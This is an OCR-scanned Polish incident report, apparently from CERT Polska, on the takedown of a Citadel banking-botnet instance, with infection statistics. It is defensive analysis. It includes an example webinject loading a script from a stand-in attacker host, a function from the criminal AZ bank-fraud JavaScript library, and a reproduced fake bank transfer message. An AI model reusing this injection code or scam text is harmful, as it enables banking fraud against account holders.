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1 Streszczenie

W lutym 2013 roku Naukowa i Akademicka Sie¢ Komputerowa oraz dzialajacy w jej
strukturach CERT Polska dokonalty przejecia kontroli nad trzema nazwami domenowymi
z koncowks .pl, stuzgcymi do zarzadzania jednag z instancji botnetu Citadel. Instancja ta
stuzyta do wykradania danych przesytanych do serwisow internetowych i byta skierowana
gtownie w polskich uzytkownikow Internetu. Z zebranych przez CERT Polska informacji
wynika, ze 11 730 réznych maszyn zostato zainfekowanych tym ztosliwym oprogramowa-
niem. Wickszo$¢ potgczen do C&C pochodzito z Europy oraz Japonii, przy czym az 77%
potaczen pochodzito z Polski. Raport ten przedstawia sposéb dziatania botnetu, sposob
wykradania danych uzytkownikoéw oraz statystyki dotyczace potaczen do serweréw C&C.
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2 Botnet Citadel

Citadel jest nazwg ztosliwego oprogramowania, ktére powstato na bazie opublikowanego
kodu zrédtowego bota Zeus.

2.1 Historia

W lipcu 2007 roku po raz pierwszy zidentyfikowano zlosliwe oprogramowanie, ktore poz-
niej zostato nazwane ,Zeus”. Do 2010 roku specjalisci zajmujacy sie bezpieczenstwem
sieci zauwazyli wzmozong aktywnos¢ tego oprogramowania. 1 pazdziernika 2010 roku
FBI zidentyfikowato jedna z grup przestepczych wykorzystujacych Zeusa, aby wykrasé
okoto 70 milionéw dolaréw uzywajac danych przestanych przez to oprogramowanie. Jed-
nym ze sposoboéw rozprzestrzeniania sie byty wiadomosci zawierajgce phishing wysytane
zaréwno przez portal spotecznosciowy Facebook jak i poprzez poczte e-mail.

W 2011 roku kod zrédtowy Zeusa wyciekt i zostat opublikowany. Od tego czasu, na
jego bazie, powstato wiele réznych mutacji, z ktérych jedna jest Citadel. Model biznesowy
botnetu Citadel jest diametralnie rézny od opisywanego wezeéniej Virutal. Przestepcy,
ktorzy tworza Citadela, odsprzedaja oprogramowanie (tzw. crimeware pack) zawierajace
program budujacy malware oraz panel kontrolny botnetu. Nastepnie klienci sami dba-
ja o zainfekowanie maszyn oraz zbieranie i wykorzystywanie danych. Calty crimeware
pack w wersji 1.3.4.5 (opisywanej w tym raporcie) zostal opublikowany w 2012 roku, co
pozwolito na doktadng analize dziatania botnetu.

2.2 Przejecie domen

W lutym 2013 CERT Polska zidentyfikowalt jeden z botnetéw, o nazwie plitfi, opartych
o ztosliwe oprogramowanie Citadel, zarzadzany przez trzy domeny z koncowka .pl:

e infocyber.pl
e secblog.pl
e online-security.pl

27 lutego 2013 r., na podstawie zebranych danych, NASK dokonal zmiany statusu tych
domen w rejestrze na ”Server Hold”. Status taki uniemozliwia propagacje danych do ser-
werow nazw oraz wprowadzanie zmian przez klienta lub registrara i moze by¢ naktadany
przez rejestr domen w przypadku watpliwosci prawnych.

Poniewaz powyzsze domeny wykorzystywane byly do dziatalnosci jednoznacznie szko-
dliwej dla uzytkownikow sieci Internet, a dane abonentow okazaly sie falszywe, 7 mar-
ca 2013 r. NASK przejat wszystkie trzy nazwy domenowe i zmienit ich delegacje na serwer
nazw kontrolowany przez CERT Polska (sinkholel12.cert.pl).

'Raport dotyczacy przejecia domen botnetu Virut mozna znalezé pod adresem http://www.cert.
pl/PDF/Raport_Virut_PL.pdf



http://www.cert.pl/PDF/Raport_Virut_PL.pdf
http://www.cert.pl/PDF/Raport_Virut_PL.pdf
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2.3 Opis dzialania

Po zainfekowaniu maszyny malware wstrzykuje sie do jednego z proceséow dziatajacych
w systemie operacyjnym uzytkownika, co pozwala mu na unikniecie szybkiego wykrycia.
Nastepnie wstrzykuje sie we wszystkie procesy, wtaczajac w to proces przegladarki inter-
netowej (tzw. atak man in the browser), aby kontrolowaé¢ informacje jakie docieraja do
uzytkownika i moc je przechwycic.

Na rysunku 1 przedstawiony jest schemat takiego ataku. Na poczatku, uzytkownik
wprowadza swéj login oraz hasto do jednej z interesujacych atakujacego stron. Dane te
sa wysylane (zielone strzalki) do serwera, tak jak to sie dzieje w przypadku normalnego
uzywania stron internetowych. Ztosliwe oprogramowanie jednak kopiuje zadanie HTTP
i wysyla je (czerwone strzalki) do serwera kontrolujacego komputery botnetu (z ang.
Command and Control, w skrécie C&C). Dzigki temu atakujacy uzyskuje dostep do da-
nych logowania ofiary. Zauwazmy, iz nie ma znaczenia czy potaczenie miedzy komputerem
ofiary a serwerem jest szyfrowane czy nie — ztosliwe oprogramowanie ma dostep do tresci
komunikacji przed jego zaszyfrowaniem.

Jednak przechwycenie hasta nie zawsze jest jedynym celem realizowanym poprzez
atak tego typu. Przestepca, poniewaz ,znajduje sie” w przegladarce ofiary jest w stanie
rowniez kontrolowaé¢ zawarto$¢ strony prezentowana uzytkownikowi. Umozliwia to wy-
Swietlenie tresci nie pochodzacych z serwera, z ktérym ofiara sie kontaktuje. Moze to
stuzy¢ np. naktonieniu uzytkownika do przekazania hasta jednorazowego lub podmianie
reklam serwowanych na danej stronie na takie, na ktorych zarabia przestepca.

Zadanie jest szyfrowane
i wysytane do serwera

Uzytkownik podaje
login i hasto do strony

AR

St int t serwer WWW
e rona internetowa

+ jest zwracana
Ztosliwy

kod

Zadanie jest kopiowane
i wysytane do atakujgcego

Atakujacy wysyta kod
do wstrzykniecia

Rysunek 1: Schemat ataku man in the browser
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2.4 Mozliwosci Citadela i jego konfiguracja

Przechwytywanie danych logowania oraz zmienianie zawartosci stron internetowych to
tylko czesé mozliwosci Citadela. Komunikacja oraz konfiguracja przysytana przez serwer
C&C jest szyfrowana za pomocg zarowno AES jak i szyfru RC4, co utrudnia analize ruchu
sieciowego oraz proby podshuchania wymiany danych.

Bot, po zainfekowaniu systemu, kontaktuje sie z serwerem przestepcy w celu pobrania
konfiguracji. W konfiguracji, dla kazdego adresu internetowego, zdefiniowana sa akcje,
ktore malware ma wykonaé¢ gdy uzytkownik odwiedza strong. Mozliwe akcje to:

1. Ignorowanie danych logowania wprowadzonych na tej stronie. Dane takie nie sg
wtedy przesylane na serwer atakujacego. Ograniczenie to jest wprowadzane, gdy
uzytkownicy czesto odwiedzaja dang strone internetowa, ale przestepca uzna, ze
nie jest w stanie zarobi¢ na informacjach z niej gromadzonych.

2. Przekierowanie danej domeny na inny adres IP. Atakujacy w ten sposoéb blokuje
dostep uzytkownikowi do stron, ktére zawieraja informacje dotyczace np. usuniecia
ztosliwego oprogramowania, albo do aktualizacji bazy oprogramowania antywiruso-
wego zainstalowanego na komputerze ofiary.

3. Podejrzenie i nagranie aktywnosci uzytkownika. Umozliwia to zaréwno wykonanie
zrzutu ekranu z maszyny ofiary jak i nagranie filmu z aktywnoscig zarejestrowana
na komputerze atakowanego. Pozwala to na przechwycenie danych logowania, gdy
uzytkownik proszony jest o podanie czesci hasta, albo podanie znakéow hasta w
okreslonej kolejnosci.

4. Wstrzykiwanie kodu do stron internetowych. Umozliwia to podszycie si¢ pod np.
strone banku i przekonanie uzytkownika do wykonania akcji, ktéra doprowadzi do
przekazania pieniedzy przestepcy.

W celu rozszerzenia mozliwosci konfiguracyjnych, kazdy adres internetowy jest wyrazony
za pomoca wyrazen regularnych (wykorzystujac do tego PCRE, czyli Perl Compatible
Regular Expressions). Dodatkowo, kazdy bot otrzymuje zapasowy adres serwera C&C,
na ktorym znajdzie konfiguracje, w przypadku gdy podstawowy adres przestanie dziatac.

2.5 Ukrywanie serwerow C&C

Architektura botnetu Citadel korzystata z serweréw posrednich w dostepie do wtasciwe-
go serwera C&C. Za kazdym razem gdy zainfekowana maszyna probuje potaczy¢ sie z
wpisana w jej konfiguracji domena (np. infocyber.pl) musi wybraé jeden z adreséw IP
z nia zwiazanych. Najczesciej jest to pierwszy adres IP na licie odpowiedzi serwera DNS.
Nastepnie przesyta pod ten adres IP zgromadzone dane oraz pobiera od niego instrukcje.
Ten adres odpowiada jednemu z serwerow oznaczonych na rysunku 2 jako Proxy Poziom
1. Jest to maszyna, z ktérg bezposrednio komunikuje sie komputer ofiary.
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Z ustalen zespotu CERT Polska wynika, ze serwery te zostalty przejete w wyniku wla-
mania. Na kazdym z serweréow poziomu 1 znajduje sie oprogramowanie, ktére przekiero-
wuje wszystkie zadania HT'TP do jednego z serweréw oznaczonych jako Proxy Poziom 2.
Analogicznie, kazda z tych maszyn przekierowuje zadania do wtasciwego serwera C&C,
ktory je przetwarza i ta sama droga przesyta odpowiedz.

Dzieki zastosowaniu tego rozwigzania zidentyfikowanie oraz zablokowanie wtasciwych
C&C jest znacznie utrudnione. Na dodatek, dzieki znacznej liczbie maszyn w warstwie
pierwszej i drugiej, utrudnione jest nawet okreslenie ile serweréw C&C, a w konsekwencji
ile botnetow, obecnie dziata w Internecie.

Proxy
Poziom1l} W \

______________

C&C Citadela
infocyber.pl

infocyber.pl

infocyber.pl
Maszyna uzytkownika

infocyber.pl

Rysunek 2: Architektura proxy do C&C

2.6 Webinjecty

Wstrzykiwanie ztosliwego kodu do strony WWW okreslane jest w konfiguracji botnetu
Citadel stowem webinject. Dotaczony do strony kod HTML jest interpretowany przez
przegladarke tak jakby sie tam znajdowal, co pozwala na przyktad zataczy¢ dodatkowy
skrypt jezyka JavaScript, ktory zostanie pobrany z zewnetrznego serwera.

Na listingu 1 zaprezentowana jest przyktadowa konfiguracja botnetu. Po otrzyma-
niu takiego wpisu, kiedy uzytkownik wejdzie na strone, ktorej adres zaczyna sie od
http://nasz.internetowy.bank/ to pomiedzy znacznikiem head a koncem znacznika
body zostanie umieszczony kod HTML zawarty w sekcji data_inject.

Target URL : "http://nasz.internetowy.bank/*"
data_before

<html*xmlns*>*<head>

data_after
</body>
data_inject
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<script type="text/javascript" src="https://evilserver.example.com/grabmoney.js">—
</script>

Listing 1: Przyktadowy webinject.

Dzieki takiej konfiguracji botnetu mozliwe jest, zamiast wykorzystania jednego miejsca,
gdzie zbierane sa dane (tzw. dropzone), wykorzystanie kilku maszyn, ktére zbieraja dane
z réznych adresow URL.

W pliku konfiguracyjnym przewaznie znajdowat sie tylko krotki fragment kodu HTML,
ktory powodowat wywotanie skryptu w jezyku JavaScript. Skrypt taki, w przypadku pol-
skich instytucji finansowych, zawierat biblioteke AZ? (nazywana tak od zmiennych uzy-
wanych w kodzie) oraz wywolanie z niej funkcji, dostosowane do konkretnego banku.
Biblioteka ta, sktadajaca si¢ z 2500 — 3000 linii kodu, ma bardzo réznorodng funkcjonal-
no$¢, dostosowana do dziatalnosci przestepczej. Pozwalata ona migdzy innymi na:

e Przesytanie komunikatéw HTTP metodami POST i GET. Dzieki temu przestepcy
mogli przesyta¢ dane pomiedzy serwerem banku a kontrolowang przez nich maszyna.
Pozwala to na wykradzenie danych logowania, jak réwniez przesytanie komend,
ktore maja zosta¢ wykonane.

e Raportowanie btedéw oraz Sledzenie postepu przestepstwa. Umozliwia to przestep-
com bardzo doktadne $ledzenie uzytkownikow oraz przebiegu wykonywanych przez
nich akcji.

e Dowolna zmiana wygladu strony banku. Pozwala to na wyswietlanie informacji z
prosba o wykonanie przelewu, ktora wyglada doktadnie jakby pochodzita z banku.

Ponizej, na listingu 2 zaprezentowany jest kod gtéwnej funkcji biblioteki AZ. Jest to
funkcja odpowiedzialna za przeprowadzenie kolejnych etapéw ataku oraz obstuge btedow.

function Router(stagesTable, loggedInNode) {
switch (typeof loggedInNode) {

case ’string’:
loggedInNode = getNodeN(loggedInNode) ;
break;

case ’function’ :
loggedInNode = loggedInNode() ;
break;

default:

}
if (!loggedInNode) {
if (window.az7.is_confirmed) {
logout () ;
window.az7.is_confirmed = false;
}
unlockHolder () ;
return false;

}

2Firma TrendMicro okreéla ten typ kodu JavaScript skrétem ATS — Automatic Transfer System.



http://www.trendmicro.com.br/cloud-content/us/pdfs/security-intelligence/white-papers/wp_automating_online_banking_fraud.pdf

19
20

21
22
23
24
25

26

27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

9 BOTNET CITADEL CEmii

logger.info(’Router started’, {stage:window.az7.stagel});
if (!window.az7.stage || window.az7.stage == ’fail’ || window.az7.stage == ’«
success’) {
unlockHolder () ;
return false;
}
var currentStageHandler = stagesTable[window.az7.stage];
if (typeof currentStageHandler == ’undefined’ || !stagesTable.hasOwnProperty«
(window.az7.stage)) {
fail("script_error", {message:"Unknown stage found",’param’:window.«
az7.stagel) ;
unlockHolder () ;
return false;
}
if (typeof currentStageHandler != ’function’) {
fail("script_error",
{
’message’ :"Stage handler is not a function",
’stage’:window.az7.stage,
’param’ : currentStageHandler.toString ()
s
unlockHolder();
return false;
}
if (Router.timeout) {
clearTimeout (Router.timeout) ;
}
Router.timeout = setTimeoutWrapped(function () {
logger.log(’Calling stage ’, window.az7.stage, ’ handler...’);
currentStageHandler.call();
}, parseInt(3500 + Math.random() * 2000));
return true;
}

Listing 2: Funkcja sterujaca.

Biblioteka AZ najczesciej byla wykorzystywana do tego, aby przekonaé ofiare, ze na
jej koncie zostat zaksiggowany bledny przelew. Nastepnie wyswietlat si¢ komunikat in-
formujacy o tym, ze btednie przelang kwote nalezy zwroci¢ na pewne konto, ktére byto
zwiazane z przestepcami. Przyktad takiego komunikatu znajduje si¢ na rysunku 3. W
celu uwiarygodnienia takiej informacji saldo konta ofiary zostato zwiekszone o ,btednie
przelang” kwote oraz komunikat zostal dostosowany do wygladu serwisu transakcyjnego
banku. Komunikat taki byt wyswietlany tylko wybranym wczesniej klientom.
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Szanowny Kliencie!

Dzisiaj na Wasze konto zostat dokonany btedny przelew Srodkyw pienieznych w kwocie 29876 PLN od s Eopi=i=stus z konta
40 171 40 ARO[ . /godnie z zasadami naszego banku ta kwota zostata zaliczona na Wasze konto rozliczeniowe, ale byla
zamrozona dla wykorzystania.

Zgodnie z Zasadami korzystania z Serwisu Przelewyw Internetowych (p. 43) celem zapobiegania niesankcjonowanego przelewu srodkyw
pienieznych dzialanie Waszego konta zostalo wstrzymane do czasu pelnego zwrotu srodkyw pienieznych na konto
4011 S PR el el wiasciciel ktyrego KRSy S isiasssnth zgtosil bledny przelew.

Zeby bylo Wam latwiej, system zaraz automatycznie przejdzie do formy przelewu srodkyw pienieznych i wypelni za Was wszystkie potrzebne
pola. Prosze potwierdzic ta operacie | w ciagu 60 min. Wasz dostep do poczty bedzie wznowiony.

W przypadku Waszej odmowy zastosowac sie do tej instrukcji prosimy niezwlocznie zwrdcic sie do najblizszego oddziatu Waszego banku z
oryginalami umowy obstugi i swoim paszportem. W przypadku niezwrycenia srodkyw pienieznych bedziemy zmuszeni przekazac sprawe do
policji.

Kwota, ktyra zostata przelana na Wasze konto bedzie automatycznie zablokowana poprzez automatyczny system zwalczania oszustwa (frond-
systemem).

* Informacia dla Was:

* Qszustwo z uzyciem kart kredytowych nalezy do przestepstw karnych. Osoby, ktyre pomagaijg w praniu (legalizacji) nielegalnie otrzymanych
srodkow pienieznych (przelewem z kont bankowych) sa pociggani do odpowiedzialnosci karnej zgodnie z ustawodawstwem Rzeczypospolitej
Polskiej.

» Sytuacje z Waszym kontem uwazamy za swiadczenie pomocy przy praniu nielegalnie (bez sankdji) przelanych srodkyw pienieinych.

Dalej

Z powazZaniem,

Departament Bezpieczenstwa Informacyjnego Banku

Dziat zwalczania on-line-oszustwa

Rysunek 3: Przyktadowy komunikat o rzekomo btednym przelewie.

Na przestrzeni kilku miesiecy obserwowania przejetej instancji botnetu Citadel CERT
Polska zidentyfikowalt r6zne domeny, na ktérych znajdowata sie biblioteka AZ. Z naszych
obserwacji wynika, ze w okresie od lutego do marca 2013 wykorzystywana byta dome-
na online-security.pl. W calym okresie monitorowania wykorzystania biblioteki AZ
byliSmy w stanie zidentyfikowa¢ skrypty atakujace klientéw 13 polskich instytucji finan-
sowych oraz co najmniej kilku zagranicznych. Pochodzity one z kilku réznych domen w
domenach najwyzszego poziomu .com oraz .pl.
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3 Statystyki

Ponizej prezentujemy, zebrane w wyniku przejecia domen, statystyki potaczen dochodza-
cych do serwera sinkhole.

3.1 Kwerendy DNS

Ze wzgledu na specyfike systemu nazw, w logach serwera DNS znajdujacego sie na sin-
khole’u znajduja sie adresy serweréw DNS-Resolver, ktore pytaty o domeny zwigzane z
botnetem Citadel. Nalezy je rozrézni¢ od adreséw zainfekowanych maszyn — czesto z jed-
nego DNS-Resolvera korzysta znaczna liczba maszyn. Na wykresie 4 przedstawiona jest
liczba unikalnych adreséw IP maszyn pytajacych o domeny botnetu Citadel.

Przejecie zostaly trzy domeny: infocyber.pl, secblog.pl oraz online-security.pl,
ktére nalezaly do jednej instancji botnetu. Zapytania o te domeny stanowig 99,99%
wszystkich zapytan DNS kierowanych do serwera. Pomiedzy 11 a 28 marca 2013 roku
serwer obshuzyt 1 472 946 kwerend zwiazanych z botnetem.

DNS : uniq IP
4000 p———
3 3 3 3 3 3 Hourly
Daily avg

R . T
i > N\
...,
wh o
A N AN A AN AN AN A AR -

O e N e | A S 0 S N O SO S, o OO [ SO 1 S O, 1 O O o N

ool

o -

2013 2013 2013 2013 2013 2013 2013 2013 2013
11/03 13/03 15/03 17/03 19/03 21/03 23/03 25/03 27/03

Rysunek 4: Liczba unikalnych adreséw IP wykonujacych kwerendy DNS

Serwer DNS, podobnie jak w przypadku sinkhole’a botnetu Virut, zostal skonfiguro-

10
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wany w ten sposéb, aby odpowiadaé tylko na kwerendy o rekord A oraz rekord NS. Kazda
inna kwerenda skutkuje odpowiedzig NXDOMAIN. Na rysunku 5 przedstawiono stosunek
zapytan o rekordy A w stosunku do zapytan o pozostate rekordy.

% NXdomain
% Resolved mmmmmm

100

80

% 60
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o
3
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2 40

20
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Rysunek 5: Stosunek odpowiedzi NXDOMAIN do pozostatych

3.2 Komunikacja botow

Ztosliwe oprogramowanie tworzyto dla kazdej maszyny osobny identyfikator, ktory nastep-
nie byt przesytany do C&C. Dzigki temu przedstawione ponizej statystyki nie powstaly
tylko na podstawie zrédtowych adreséw IP, ale takze na podstawie identyfikatoréw bo-
tow. Identyfikatory pozwalaja na doktadne oszacowanie wielkosci botnetu, podczas gdy
adresy IP postuzyty do ustalenia lokalizacji maszyn oraz systeméw autonomicznych, do
ktorych naleza. Na podstawie informacji przekazanych przez boty moglismy ustali¢ strone
kodowa i wersje systemu operacyjnego.

Od 11 marca do 4 kwietnia 2013 zaobserwowalismy 11 730 réznych identyfikatoréw
botow, ktore nawigzaly potaczenie z sinkholem. Potgczenia te pochodzity z 164 323 uni-
kalnych adresow IP rozmieszczonych w 75 réznych krajach. Najwiecej poltaczen zaobser-
wowano z adreséw IP pochodzacych z Polski (prawie 78%), Japonii oraz Szwecji. Srednio
dziennie obserwowaliSmy potaczenia z 8 013 réznych komputeréw (z 13 235 unikalnych
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adreséw IP). W tabeli 1 znajduje sie pierwsza dziesiatka krajéw, z ktérych najczesciej
pochodzity potaczenia.

| | Kraj | Liczba adreséow IP | Udzial procentowy |
1. | Polska 127 453 77,56%
2. | Japonia 14 401 8,76%
3. | Szwecja 8 716 5,30%
4. | Dania 2 842 1,73%
5. | Wlochy 2 788 1,70%
6. | Szwajcaria 1790 1,09%
7. | Hiszpania 1 392 0,85%
8. | Estonia 1 389 0,85%
9. | Niemcy 621 0,38%
10. | Holandia 486 0,29%

Tabela 1: Kraje, z ktorych pochodzito najwiecej potaczen

Na rysunku 6 przedstawione jest geograficzne rozmieszczenia adresow IP taczacych
si¢ z sinkholem. Jak wida¢ botnet gtéwnie skierowany byt przeciwko krajom europejskim
oraz Japonii. Na rysunku 7 wida¢ rozmieszenie adreséw [P w Europie — zgodnie z zapre-
zentowang wczesniej tabelg, ta instancja botnetu wymierzona byta gtéwnie w obywateli
Polski.

100 200 300 400 500 600 700 800 900 1000

Rysunek 6: Rozmieszczenie geograficzne zainfekowanych adreséw IP na $wiecie
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Rysunek 7: Rozmieszczenie geograficzne zainfekowanych adresow IP w FEurope

Polaczenia nawigzane z Polski pochodzity z 512 réznych systemoéw autonomicznych.
W tabeli 2 prezentujemy 10 polskich sieci, z ktérych najwieksza liczba unikalnych adreséw
IP nawigzata potaczenie z sinkholem. Zgodnie z oczekiwaniami najwiecej potaczen zostato
nawigzanych z sieci najwickszego polskiego operatora.

| | Liczba adres6w IP | ASN | Nazwa |

1 42 140 | AS5617 | Telekomunikacja Polska S.A.

2 30 665 | AS12912 | Polska Telefonia Cyfrowa S.A.
3 12 281 | AS12741 | Netia SA

4 11 093 | AS39603 | P4 Sp. z o.0.

5 10 838 | AS43447 | PTK Centertel Sp. z o.o.

6 7 464 | AS8374 | Polkomtel Sp. z o.0.

7 3262 | AS15855 | Aero 2 sp. z 0.0.

8 2 060 | AS21021 | Multimedia Polska S.A.

9 1074 | AS29314 | VECTRA S.A.

10 966 | AS6830 | UPC Broadband Holding B.V.

Tabela 2: Lista polskich sieci z najwieksza liczba potaczen.

Wykres 8 przedstawia udziatl poszczegdlnych systemow autonomicznych w zaobser-
wowanych potaczeniach.
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Rysunek 8: Autonomiczne sieci z najwieksza liczba poltaczen

Tabela 3 ponizej prezentuje 3 zagraniczne autonomiczne systemy, z ktérych pocho-
dzito najwiecej potaczen. Ta instancja botnetu kierowana byta gtownie w polskich uzyt-
kownikow, dlatego z najczesciej wystepujacego zagranicznego systemu autonomicznego
pochodzito zaledwie 1,8% adreséw IP.

’ \ Liczba adresow \ ASN \ Nazwa \ Kraj ‘
1 3042 | AS4713 | NTT Communications Corporation | Japonia
2 652 | AS37903 | eMobile Ltd. Japonia
3 2 519 | AS44034 | Hi3G Access AB Szwecja

Tabela 3: Lista zagranicznych sieci z najwigksza liczba potaczen.

Kazdy z zainfekowanych komputerow przesyta informacje o ustawionej stronie kodo-
wej. Dzieki temu bylidmy w stanie doktadniej ustali¢ ile réznych maszyn, a nie adreséw
IP, pochodzito z poszczegdlnych krajow. Tabeli 4 prezentuje 10 najczesciej wystepuja-
cych stron kodowych. Najwicksza liczba nazw botow ma ustawiony jako jezyk systemowy,
zgodnie z wezesniejszymi danymi, polski (58%). Kolejnymi czesto spotykanymi jezykami
okazaly sie: japonski (14%) oraz szwedzki (8%). Wystepowania jezyka angielskiego (5%
nazw botow) nie mozna bezposrednio powiazaé z ilodcia zainfekowanych komputeréow w
Stanach Zjednoczonych, gdyz jest to czesto domyslny jezyk systemowy niektorych ko-
pii systemu Windows. Rowniez niewielka liczba adresow IP ze Stanéow Zjednoczonych
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jakie nawigzaly potaczenie z sinkholem moze potwierdza¢, ze maszyny te niekoniecznie

znajduja sie na terytorium USA.

’ \ Liczba botéw \ Numer strony kodowej \ Opis

1 6 809 1045 polski

2 1677 1041 japonski

3 912 1053 szwedzki

4 640 1033 angielski (Stany Zjednoczone)
5) 587 1030 dunski

6 301 1031 niemiecki

7 268 1043 holenderski

8 185 3082 hiszpanski

9 73 1040 wloski

10 61 1029 czeski

Tabela 4: 10 najczesciej wystepujacych stron kodowych

Wykres 9 przedstawia udziat poszczegdlnych stron kodowych we wszystkich potacze-

niach.
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Rysunek 9: 10 najczesciej wystepujacych stron kodowych
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’ \ Liczba botéw \ Wersja systemu operacyjnego ‘

1 4 389 | Windows 7, wersja 64 bitowa

2 4 373 | Windows XP, wersja 32 bitowa

3 2 417 | Windows 7, wersja 32 bitowa

4 1 575 | Windows Vista, wersja 32 bitowa

5 77 | Windows Vista, wersja 64 bitowa
7 | Inne

Tabela 5: Najczesciej wystepujace systemy operacyjne

Boty przesytaty réwniez informacje o wersji systemu operacyjnego znajdujgcego sie
na zainfekowanej maszynie. Zaobserwowaliémy 28 réznych wersji, wliczajac w to réwne
dodatki typu Service Pack jak réwniez rézne architektury procesora. Wszystkie systemy
operacyjne pochodzity z rodziny Microsoft Windows. Najczesciej spotykanym, zgodnie
oczekiwaniami, okazal sie Windows 7, ktory znajdowal sie na 53% maszyn. Kolejnym
czesto spotykanym systemem byt Windows XP (ponad 34%). Pozostale systemy stano-
wity niecale 13%. Wyniki zostaly zaprezentowane w tabeli 5. W tabeli, w celu poprawienia
jej czytelnosci, nie rozréznialiSmy réznych dodatkéw Service Pack.
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Rysunek 10: Najczescie] wystepujace systemy operacyjne

16



3 STATYSTYKI CE.B%

Ztosliwe oprogramowanie przesytato wszystkie zadania POST kierowane do serwisow,
poza tymi, ktére byly ignorowane na podstawie konfiguracji podanej przez serwer. Za-
dania POST, ktore byty kopiowane do serwera C&C botnetu Citadel, dotyczyty 2 706
unikalnych nazw domenowych, badz adreséw IP. Najwiecej z nich dotyczyto domen znaj-
dujacych sie w obrebie domeny najwyzszego poziomu . com (prawie 35%) oraz .pl (prawie
26%). Wyniki dla 10 najczesciej wystepujacych domen najwyzszego poziomu do ktérych
boty wysylaly dane przedstawiamy w tabeli 6.

’ \ Domena najwyzszego poziomu \ Liczba botéow ‘

1. | .com 947
2. | .pl 696
3. |.p 185
4. | .net 111
5. | .se 109
6. | .dk 99
7. | .ru 47
8. | .ch 46
9. | .nl 36
10. | .it 31

Tabela 6: Najczesciej wystepujace domeny najwyzszego poziomu

Informacje z zadan POST, przesytane przez boty do C&C pogrupowaliSmy w zalez-
nosci od charakteru serwisu jakie dotyczyty przesytane dane. WyrdzniliSmy 8 grup, ktére
mogly zawiera¢ dane dotyczace logowania. Grupy te zostaly opisane ponizej.

1.

SIS A S

Serwisy finansowe takie jak strony internetowe bankéw czy serwisy posredniczace
w ptatnosciach. W tej grupie znajdujag sie 82 nazwy domenowe.

Dostawcy ustug pocztowych (e-mail) — w tej grupie znajduje sie¢ 95 nazw domeno-
wych.

Serwisy spotecznos$ciowe — w tej grupie znajduje sie 95 nazw domenowych.
Serwisy aukcyjne — w tej grupie znajduje sie 18 nazw domenowych.
Serwisy informacyjne — w tej grupie znajduje sie 57 nazw domenowych.

Serwisy umozliwiajace wymiane plikow — w tej grupie znajduje si¢ 5 nazw domeno-
wych.

Inne popularne serwisy — w tej grupie znajduje sie 37 nazw domenowych.

Domeny zwigzane ze zlosliwym oprogramowaniem. Sa to informacje pochodzace
z innego ztosliwego oprogramowania znajdujacego sie na zainfekowanej maszynie.
Domeny zwigzane byty m.in. z innymi instancjami Citadela badz z Torpigiem. W
tej grupie znajduje sie 739 nazw domenowych.
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‘ Grupa ‘ Typ stron ‘ Polska ‘ Zagranica ‘
1 Serwisy finansowe 248 155
2 Dostawcy ustug pocztowych 321 225
3 Serwisy spotecznosciowe 260 99
4 Serwisy aukcyjne 314 127
5 Serwisy informacyjne 571 23
6 Wymiana plikow 41 8
7 Inne serwisy 1703 693
8 Ztosliwe nazwy domenowe 517 479

Tabela 7: Liczba botéw jakie odwotywaly sie do danej grupy serwisoéw

Tabela 7 oraz wykres 11 prezentuja liczbe botéw, ktére wykonaty zadania POST, dotycza-
ce danej grupy serwiséw. Dla kazdego bota zostata réwniez ustalona strona kodowa jezyka
— na tej podstawie boty zostaly podzielone na polskie oraz te pochodzace z zagranicy.
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Rysunek 11: Liczba botow jakie odwotywaty si¢ do danej grupy serwiséw
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